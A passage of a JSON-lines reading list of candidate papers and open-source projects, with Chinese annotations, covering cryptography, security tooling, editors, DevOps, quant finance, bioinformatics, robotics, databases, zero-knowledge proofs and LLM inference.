(GCM)","meta":{"col3":"2003","col4":"McGrew/Viega;AES-GCM 的 NIST 草案,TLS 1.3 主流模式"},"url":"https://csrc.nist.gov/csrc/media/projects/block-cipher-techniques/documents/bcm/proposed-modes/gcm/gcm-spec.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"hkdf-rfc5869","area":"papers","topic":"security-privacy","title":"HKDF: HMAC-based Extract-and-Expand Key Derivation Function","meta":{"col3":"2010","col4":"Krawczyk RFC 5869;TLS/Noise 共用的密钥派生标准"},"url":"https://www.rfc-editor.org/rfc/rfc5869","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"ed25519-2011","area":"papers","topic":"security-privacy","title":"High-speed High-security Signatures (Ed25519)","meta":{"col3":"2011","col4":"Bernstein 等;现代签名标准,age/SSH/SecureScuttlebutt 用"},"url":"https://ed25519.cr.yp.to/ed25519-20110926.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"argon2-2015","area":"papers","topic":"security-privacy","title":"Argon2: The Memory-Hard Function for Password Hashing","meta":{"col3":"2015","col4":"PHC 获胜算法;现代 KDF/密码哈希"},"url":"https://password-hashing.net/argon2-specs.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"noise-explorer-2018","area":"papers","topic":"security-privacy","title":"Noise Explorer: Fully Automated Modeling of Noise Protocol","meta":{"col3":"2018","col4":"Kobeissi;理解 WireGuard/Wickr 的协议族"},"url":"https://noiseexplorer.com/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"trivy-aquasec","area":"projects","topic":"security-privacy","title":"Trivy","meta":{"col3":"2024","col4":"Aqua Security;最广用的容器/IaC/SBOM 漏洞扫描器"},"url":"https://github.com/aquasecurity/trivy","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"semgrep-r2c","area":"projects","topic":"security-privacy","title":"Semgrep","meta":{"col3":"2024","col4":"r2c;轻量静态分析 SAST,规则即代码"},"url":"https://github.com/semgrep/semgrep","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"step-ca-smallstep","area":"projects","topic":"security-privacy","title":"step-ca","meta":{"col3":"2024","col4":"Smallstep;私有 CA 自托管 + ACME,零信任部署"},"url":"https://github.com/smallstep/certificates","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"teleport-gravitational","area":"projects","topic":"security-privacy","title":"Teleport","meta":{"col3":"2024","col4":"Gravitational;统一 SSH/K8s/DB 接入控制,零信任审计"},"url":"https://github.com/gravitational/teleport","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"salsa-incremental-2019","area":"papers","topic":"editors-ide","title":"Salsa: An Incremental Computation Framework","meta":{"col3":"2019","col4":"rust-analyzer 核心;Adapton 的工程化版本"},"url":"https://github.com/salsa-rs/salsa/blob/master/book/src/about_salsa.md","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"dap-spec","area":"papers","topic":"editors-ide","title":"Debug Adapter Protocol Specification","meta":{"col3":"2018","col4":"微软;与 LSP 并列的调试通用协议"},"url":"https://microsoft.github.io/debug-adapter-protocol/specification","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"lapce-editor","area":"projects","topic":"editors-ide","title":"Lapce","meta":{"col3":"2024","col4":"Rust + Druid;融合 Vim/VSCode 的现代编辑器"},"url":"https://github.com/lapce/lapce","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"nvim-treesitter","area":"projects","topic":"editors-ide","title":"nvim-treesitter","meta":{"col3":"2024","col4":"Neovim 的 tree-sitter 集成;现代语法高亮事实标准"},"url":"https://github.com/nvim-treesitter/nvim-treesitter","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"cody-sourcegraph","area":"projects","topic":"editors-ide","title":"Cody","meta":{"col3":"2024","col4":"Sourcegraph;代码搜索 + LLM agent,企业级 AI 编辑器"},"url":"https://github.com/sourcegraph/cody","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"kakoune-editor","area":"projects","topic":"editors-ide","title":"Kakoune","meta":{"col3":"2024","col4":"选择优先模态编辑器;Helix 的灵感来源"},"url":"https://github.com/mawww/kakoune","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"emacs-magit","area":"projects","topic":"editors-ide","title":"Magit","meta":{"col3":"2024","col4":"Emacs git porcelain;最被效仿的 Git UI"},"url":"https://github.com/magit/magit","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"warp-terminal","area":"projects","topic":"editors-ide","title":"Warp Terminal","meta":{"col3":"2024","col4":"Rust + GPU 渲染终端;blocks/AI 命令补全"},"url":"https://github.com/warpdotdev/Warp","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"chaos-engineering-netflix-2016","area":"papers","topic":"business-engineering","title":"Chaos Engineering: Netflix's Approach","meta":{"col3":"2016","col4":"Basiri 等 IEEE Software;故障注入工程化的奠基"},"url":"https://arxiv.org/abs/1702.05843","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"dora-state-of-devops-2023","area":"papers","topic":"business-engineering","title":"DORA State of DevOps Report 2023","meta":{"col3":"2023","col4":"Google DORA;四大指标 + 平台工程的最新基准"},"url":"https://services.google.com/fh/files/misc/2023_state_of_devops_report.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"incident-command-system-2022","area":"papers","topic":"business-engineering","title":"Incident Command System for Tech Operations","meta":{"col3":"2022","col4":"PagerDuty/Google SRE 摘录;事件响应组织模式"},"url":"https://response.pagerduty.com/training/incident_commander/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"backstage-spotify-2020","area":"papers","topic":"business-engineering","title":"Backstage: Spotify's Internal Developer Portal","meta":{"col3":"2020","col4":"Spotify;平台工程 IDP 概念落地的代表"},"url":"https://backstage.io/blog/2020/03/16/announcing-backstage/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"argo-cd","area":"projects","topic":"business-engineering","title":"Argo CD","meta":{"col3":"2024","col4":"GitOps 事实标准;K8s 声明式部署"},"url":"https://github.com/argoproj/argo-cd","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"flux-cd","area":"projects","topic":"business-engineering","title":"Flux CD","meta":{"col3":"2024","col4":"Argo CD 之外的另一 GitOps 主流方案"},"url":"https://github.com/fluxcd/flux2","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"kratos-ory","area":"projects","topic":"business-engineering","title":"Ory Kratos","meta":{"col3":"2024","col4":"云原生身份基础设施;OAuth/OIDC 自托管"},"url":"https://github.com/ory/kratos","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"crossplane","area":"projects","topic":"business-engineering","title":"Crossplane","meta":{"col3":"2024","col4":"K8s 风格的多云控制面;Terraform 的声明式替代"},"url":"https://github.com/crossplane/crossplane","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"kelly-criterion-1956","area":"papers","topic":"quant-finance","title":"A New Interpretation of Information Rate (Kelly Criterion)","meta":{"col3":"1956","col4":"Kelly;最优下注比例的奠基,量化仓位管理基石"},"url":"https://www.princeton.edu/~wbialek/rome/refs/kelly_56.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"black-scholes-1973","area":"papers","topic":"quant-finance","title":"The Pricing of Options and Corporate Liabilities","meta":{"col3":"1973","col4":"Black/Scholes;期权定价模型奠基论文,金融工程必读"},"url":"https://www.cs.princeton.edu/courses/archive/fall09/cos323/papers/black_scholes73.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"almgren-chriss-2001","area":"papers","topic":"quant-finance","title":"Optimal Execution of Portfolio Transactions","meta":{"col3":"2001","col4":"Almgren/Chriss;最优执行算法的奠基,VWAP/TWAP 后续都基于此"},"url":"https://www.smallake.kr/wp-content/uploads/2016/03/optliq.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"lopez-de-prado-trio-2018","area":"papers","topic":"quant-finance","title":"The 10 Reasons Most Machine Learning Funds Fail","meta":{"col3":"2018","col4":"López de Prado JPM;ML 用于金融的工程坑全记录"},"url":"https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3104816","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"nautilus-trader","area":"projects","topic":"quant-finance","title":"Nautilus Trader","meta":{"col3":"2024","col4":"高性能 Rust 量化回测/实盘平台,事件驱动"},"url":"https://github.com/nautechsystems/nautilus_trader","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"qlib-microsoft","area":"projects","topic":"quant-finance","title":"Qlib","meta":{"col3":"2024","col4":"微软亚研;AI 驱动的量化研究平台,A 股因子库"},"url":"https://github.com/microsoft/qlib","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"freqtrade","area":"projects","topic":"quant-finance","title":"Freqtrade","meta":{"col3":"2024","col4":"开源加密货币量化交易机器人,最广用"},"url":"https://github.com/freqtrade/freqtrade","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"hummingbot","area":"projects","topic":"quant-finance","title":"Hummingbot","meta":{"col3":"2024","col4":"做市商和 DEX 量化机器人开源框架"},"url":"https://github.com/hummingbot/hummingbot","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"vectorbt","area":"projects","topic":"quant-finance","title":"vectorbt","meta":{"col3":"2024","col4":"向量化回测 Python 库;NumPy 极致性能策略评估"},"url":"https://github.com/polakowo/vectorbt","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"awesome-systematic-trading","area":"projects","topic":"quant-finance","title":"awesome-systematic-trading","meta":{"col3":"2024","col4":"量化资源 awesome list;策略 + 数据 + 平台"},"url":"https://github.com/edarchimbaud/awesome-systematic-trading","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"blast-altschul-1990","area":"papers","topic":"bioinformatics","title":"Basic Local Alignment Search Tool (BLAST)","meta":{"col3":"1990","col4":"Altschul 等;序列比对工具的奠基,最被引用论文之一"},"url":"https://www.sciencedirect.com/science/article/abs/pii/S0022283605803602","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"smith-waterman-1981","area":"papers","topic":"bioinformatics","title":"Identification of Common Molecular Subsequences","meta":{"col3":"1981","col4":"Smith/Waterman;局部序列比对动态规划算法"},"url":"https://en.wikipedia.org/wiki/Smith%E2%80%93Waterman_algorithm","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"rosettafold-2021","area":"papers","topic":"bioinformatics","title":"Accurate Prediction of Protein Structures and Interactions (RoseTTAFold)","meta":{"col3":"2021","col4":"Baek 等 Science;AlphaFold2 同期独立工作"},"url":"https://www.science.org/doi/10.1126/science.abj8754","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"esmfold-2022","area":"papers","topic":"bioinformatics","title":"Evolutionary-Scale Prediction of Atomic-Level Protein Structure","meta":{"col3":"2022","col4":"Meta ESMFold;语言模型从单序列预测结构"},"url":"https://www.science.org/doi/10.1126/science.ade2574","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"biopython","area":"projects","topic":"bioinformatics","title":"Biopython","meta":{"col3":"2024","col4":"Python 生信事实标准库;Seq/Bio.PDB/Bio.Blast"},"url":"https://github.com/biopython/biopython","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"samtools-htslib","area":"projects","topic":"bioinformatics","title":"samtools / htslib","meta":{"col3":"2024","col4":"BAM/CRAM 格式标准实现;测序数据处理基石"},"url":"https://github.com/samtools/samtools","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"snakemake","area":"projects","topic":"bioinformatics","title":"Snakemake","meta":{"col3":"2024","col4":"Python DSL 的工作流管理;最广用生信 pipeline 工具"},"url":"https://github.com/snakemake/snakemake","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"nextflow","area":"projects","topic":"bioinformatics","title":"Nextflow","meta":{"col3":"2024","col4":"DSL2;Snakemake 的竞争方案,nf-core 社区强大"},"url":"https://github.com/nextflow-io/nextflow","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"scanpy","area":"projects","topic":"bioinformatics","title":"Scanpy","meta":{"col3":"2024","col4":"Python 单细胞分析;Seurat 的 Python 对手"},"url":"https://github.com/scverse/scanpy","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"rdkit","area":"projects","topic":"bioinformatics","title":"RDKit","meta":{"col3":"2024","col4":"开源化学信息学库;分子指纹/SMILES/RDKit 是化学 AI 基础"},"url":"https://github.com/rdkit/rdkit","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"rt-1-2022","area":"papers","topic":"robotics-VLA","title":"RT-1: Robotics Transformer for Real-World Control at Scale","meta":{"col3":"2022","col4":"Google;机器人 transformer 的奠基,VLA 范式起点"},"url":"https://arxiv.org/abs/2212.06817","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"rt-2-2023","area":"papers","topic":"robotics-VLA","title":"RT-2: Vision-Language-Action Models","meta":{"col3":"2023","col4":"Google DeepMind;VLM 直接输出动作 token,VLA 概念诞生"},"url":"https://arxiv.org/abs/2307.15818","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"openvla-2024","area":"papers","topic":"robotics-VLA","title":"OpenVLA: An Open-Source Vision-Language-Action Model","meta":{"col3":"2024","col4":"Stanford;首个开源 7B VLA,社区基线"},"url":"https://arxiv.org/abs/2406.09246","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"octo-2024","area":"papers","topic":"robotics-VLA","title":"Octo: An Open-Source Generalist Robot Policy","meta":{"col3":"2024","col4":"BAIR;diffusion policy + transformer 的通用机器人"},"url":"https://arxiv.org/abs/2405.12213","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"rt-x-2023","area":"papers","topic":"robotics-VLA","title":"Open X-Embodiment: Robotic Learning Datasets and RT-X Models","meta":{"col3":"2023","col4":"21 实验室联合;跨实体数据集合作的里程碑"},"url":"https://arxiv.org/abs/2310.08864","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"pi0-physical-intelligence-2024","area":"papers","topic":"robotics-VLA","title":"π0: A Vision-Language-Action Flow Model for General Robot Control","meta":{"col3":"2024","col4":"Physical Intelligence;flow matching + VLA,性能 SOTA"},"url":"https://arxiv.org/abs/2410.24164","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"lerobot","area":"projects","topic":"robotics-VLA","title":"LeRobot","meta":{"col3":"2024","col4":"HuggingFace;机器人版 transformers,VLA 训练/部署事实标准"},"url":"https://github.com/huggingface/lerobot","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"isaac-lab-nvidia","area":"projects","topic":"robotics-VLA","title":"Isaac Lab","meta":{"col3":"2024","col4":"NVIDIA;Isaac Sim 上的机器人学习框架,GPU 并行仿真"},"url":"https://github.com/isaac-sim/IsaacLab","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"mujoco-deepmind","area":"projects","topic":"robotics-VLA","title":"MuJoCo","meta":{"col3":"2024","col4":"DeepMind 开源后;机器人物理仿真事实标准"},"url":"https://github.com/google-deepmind/mujoco","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"awesome-robotics-fm","area":"projects","topic":"robotics-VLA","title":"awesome-robotics-foundation-models","meta":{"col3":"2024","col4":"VLA/RT-X/世界模型资源汇总"},"url":"https://github.com/JeffreyYH/Awesome-Generalist-Robots-via-Foundation-Models","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"photon-databricks-2022","area":"papers","topic":"database-modern","title":"Photon: A Fast Query Engine for Lakehouse Systems","meta":{"col3":"2022","col4":"Databricks SIGMOD'22;C++ 向量化引擎,lakehouse 商业代表"},"url":"https://people.eecs.berkeley.edu/~matei/papers/2022/sigmod_photon.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"umbra-2020","area":"papers","topic":"database-modern","title":"Umbra: A Disk-Based System with In-Memory Performance","meta":{"col3":"2020","col4":"Neumann TUM;HyPer 的继任者,编译执行 + 列存"},"url":"https://www.cidrdb.org/cidr2020/papers/p29-neumann-cidr20.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"iceberg-2020","area":"papers","topic":"database-modern","title":"Apache Iceberg: A High-Performance Table Format","meta":{"col3":"2020","col4":"Netflix;现代 lakehouse 的事实表格式标准"},"url":"https://iceberg.apache.org/spec/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"delta-lake-2020","area":"papers","topic":"database-modern","title":"Delta Lake: High-Performance ACID Table Storage over Cloud Object Stores","meta":{"col3":"2020","col4":"Databricks VLDB'20;lakehouse 事务层奠基"},"url":"https://www.vldb.org/pvldb/vol13/p3411-armbrust.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"hudi-uber-2017","area":"papers","topic":"database-modern","title":"Apache Hudi: Incremental Processing on Big Data","meta":{"col3":"2017","col4":"Uber;和 Iceberg/Delta 三足鼎立的表格式"},"url":"https://hudi.apache.org/docs/concepts","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"datafusion-arrow","area":"projects","topic":"database-modern","title":"Apache DataFusion","meta":{"col3":"2024","col4":"Rust 写的查询引擎;Arrow 生态核心,被 InfluxDB/Ballista 用"},"url":"https://github.com/apache/datafusion","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"lance-format","area":"projects","topic":"database-modern","title":"Lance","meta":{"col3":"2024","col4":"Eto;列存 + 向量索引一体化,AI 时代的 parquet"},"url":"https://github.com/lancedb/lance","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"materialize-streaming","area":"projects","topic":"database-modern","title":"Materialize","meta":{"col3":"2024","col4":"增量计算物化视图;Differential Dataflow 商业化"},"url":"https://github.com/MaterializeInc/materialize","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"paimon-flink","area":"projects","topic":"database-modern","title":"Apache Paimon","meta":{"col3":"2024","col4":"原 Flink Table Store;流批一体的表格式"},"url":"https://github.com/apache/paimon","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"questdb-tsdb","area":"projects","topic":"database-modern","title":"QuestDB","meta":{"col3":"2024","col4":"Java/C++ 时序数据库;高性能金融时间序列"},"url":"https://github.com/questdb/questdb","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"nova-folding-2021","area":"papers","topic":"cryptography-ZK","title":"Nova: Recursive Zero-Knowledge Arguments from Folding Schemes","meta":{"col3":"2021","col4":"Kothapalli/Setty/Tzialla;folding 范式奠基,zkVM 加速核心"},"url":"https://eprint.iacr.org/2021/370","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"halo2-2022","area":"papers","topic":"cryptography-ZK","title":"Halo2: A SNARK Implementation Using PLONK Arithmetization","meta":{"col3":"2022","col4":"Zcash/Electric Coin;无可信 setup 的 PLONK 实现"},"url":"https://zcash.github.io/halo2/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"hyperplonk-2022","area":"papers","topic":"cryptography-ZK","title":"HyperPlonk: PLONK with Linear-time Prover and High-degree Custom Gates","meta":{"col3":"2022","col4":"Chen/Bunz/Boneh;PLONK 系列性能突破"},"url":"https://eprint.iacr.org/2022/1355","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"plookup-2020","area":"papers","topic":"cryptography-ZK","title":"plookup: A Simplified Polynomial Protocol for Lookup Tables","meta":{"col3":"2020","col4":"Gabizon/Williamson;查找表参数化的奠基,所有现代 zkVM 用"},"url":"https://eprint.iacr.org/2020/315","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"risc0-zkvm","area":"projects","topic":"cryptography-ZK","title":"RISC Zero zkVM","meta":{"col3":"2024","col4":"首个生产级 RISC-V zkVM;通用程序的 ZK 证明"},"url":"https://github.com/risc0/risc0","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"sp1-succinct","area":"projects","topic":"cryptography-ZK","title":"SP1","meta":{"col3":"2024","col4":"Succinct Labs;性能领先的 RISC-V zkVM,Rust 友好"},"url":"https://github.com/succinctlabs/sp1","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"circom-iden3","area":"projects","topic":"cryptography-ZK","title":"circom","meta":{"col3":"2024","col4":"iden3;最广用的电路 DSL,Web3 ZK 应用入门"},"url":"https://github.com/iden3/circom","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"noir-aztec","area":"projects","topic":"cryptography-ZK","title":"Noir","meta":{"col3":"2024","col4":"Aztec;Rust 风格 ZK 电路 DSL,比 circom 友好"},"url":"https://github.com/noir-lang/noir","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"arkworks-rs","area":"projects","topic":"cryptography-ZK","title":"arkworks-rs/algebra","meta":{"col3":"2024","col4":"Rust 椭圆曲线/有限域库;ZK 项目通用底座"},"url":"https://github.com/arkworks-rs/algebra","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"awesome-zk-proofs","area":"projects","topic":"cryptography-ZK","title":"awesome-zero-knowledge-proofs","meta":{"col3":"2024","col4":"ZK 论文/工具/教程汇总,研究入口"},"url":"https://github.com/matter-labs/awesome-zero-knowledge-proofs","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"mindie-2024","area":"projects","topic":"ml-systems","title":"MindIE LLM Inference Engine (Ascend)","meta":{"col3":"","col4":"Huawei 昇腾 NPU 上的 LLM 推理引擎;vLLM 在国产硬件路线上的对标方案,理解 dynamic batching + INT8/INT4 量化在非 NVIDIA 栈上的工业实现"},"url":"https://www.hiascend.com/software/mindie","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} -{"slug":"lmdeploy","area":"projects","topic":"ml-systems","title":"LMDeploy: InternLM team inference toolkit","meta":{"col3":"","col4":"上海 AI Lab;TurboMind backend + INT4 KV cache 独家;理解 vLLM 之外的国产 LLM serving 方案"},"url":"https://github.com/InternLM/lmdeploy","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} -{"slug":"flexgen-2023","area":"papers","topic":"ml-systems","title":"FlexGen: High-throughput Generative Inference of LLMs with a Single GPU","meta":{"col3":"","col4":"Stanford ICML'23;CPU/disk KV offload 的奠基论文,dossier 中作为离线场景候选"},"url":"https://arxiv.org/abs/2303.06865","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} -{"slug":"kserve","area":"projects","topic":"ml-systems","title":"KServe: Kubernetes-native model serving","meta":{"col3":"","col4":"K8s 上的标准化模型服务接口;vLLM 工业部署 dossier 提到的 K8s 选项,对标 Ray Serve"},"url":"https://github.com/kserve/kserve","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} -{"slug":"ray-serve","area":"projects","topic":"ml-systems","title":"Ray Serve: scalable model serving","meta":{"col3":"","col4":"Anyscale;分布式 actor 模型支撑的 LLM serving 框架,vLLM 集成路径之一"},"url":"https://docs.ray.io/en/latest/serve/index.html","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} -{"slug":"deepspeed-inference-2022","area":"papers","topic":"ml-systems","title":"DeepSpeed-Inference: Enabling Efficient Inference of Transformer Models at Unprecedented Scale","meta":{"col3":"","col4":"微软;ZeRO-Inference + Tensor Parallel 的工业实现,vLLM/TGI 之前的主流选择"},"url":"https://arxiv.org/abs/2207.00032","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} -{"slug":"machete-kernel-vllm","area":"projects","topic":"ml-systems","title":"vLLM Machete W4A16 kernel","meta":{"col3":"","col4":"vLLM 团队为 Hopper 优化的 W4A16 kernel,比 Marlin 快;阅读源码理解 mma instruction layout"},"url":"https://github.com/vllm-project/vllm/blob/main/csrc/quantization/machete/README.md","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} -{"slug":"marlin-w4a16-kernel","area":"papers","topic":"ml-systems","title":"Marlin: a fast 4-bit GPTQ-style kernel","meta":{"col3":"","col4":"ISTA/DASLab;A100/H100 W4A16 kernel 加速 GPTQ/AWQ 推理 4 倍;vLLM 默认 quant kernel 之一"},"url":"https://github.com/IST-DASLab/marlin","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} 